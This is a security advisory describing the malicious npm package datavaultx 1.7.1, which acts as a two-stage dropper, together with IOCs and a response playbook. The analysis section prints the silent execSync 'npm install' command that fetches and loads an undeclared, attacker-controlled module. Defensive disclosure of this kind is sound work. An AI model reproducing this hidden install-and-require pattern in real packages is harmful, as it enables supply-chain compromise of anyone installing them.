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Malicious package

datavaultxnpm

Advisory published Updated

datavaultx is a confirmed malicious npm package (MAL-2026-10460) that executes malicious code on install (malicious version 1.7.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in datavaultx (npm)

MAL-2026-10460
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall datavaultx

What this malware does

On require of the package's main entry (auth.js -> lib/writer.js), the module attempts require('auth-gen-next'); on failure it invokes execSync('npm install auth-gen-next --no-warnings --no-save --no-progress --loglevel silent') and then requires the freshly installed module from../../auth-gen-next/index.js. The fetched package is not declared in this package's dependencies, so its contents are entirely attacker-controlled and can change at any time without a datavaultx release. lib/writer.js additionally constructs a cover-story error string ('Error: This environment is not supported...') via a long chain of String.fromCharCode calls, shown only if the silent install fails. The suppressed logging, undeclared dependency, and character-code obfuscation of the failure message together indicate a two-stage dropper design in which the visible package is a thin shim that pulls its real payload from a separately-published module at load time.

Malicious versions

1 flagged
1.7.1

Indicators of compromise (SHA-256)

bbf831f155eb2a6d04427e5cc3cd239055844e80c3b02576a5d546e4e7ab42b6

Detection & response playbook

Malicious package
  1. Find it

    Search your lockfiles and build artifacts for datavaultx (version 1.7.1).

  2. If you installed it — respond

    Remove datavaultx from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If datavaultx was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. datavaultx on npm has been identified as a malicious package (version 1.7.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-010270

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks datavaultx-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

datavaultx (npm) malicious package — MAL-2026-10460 | O3 Security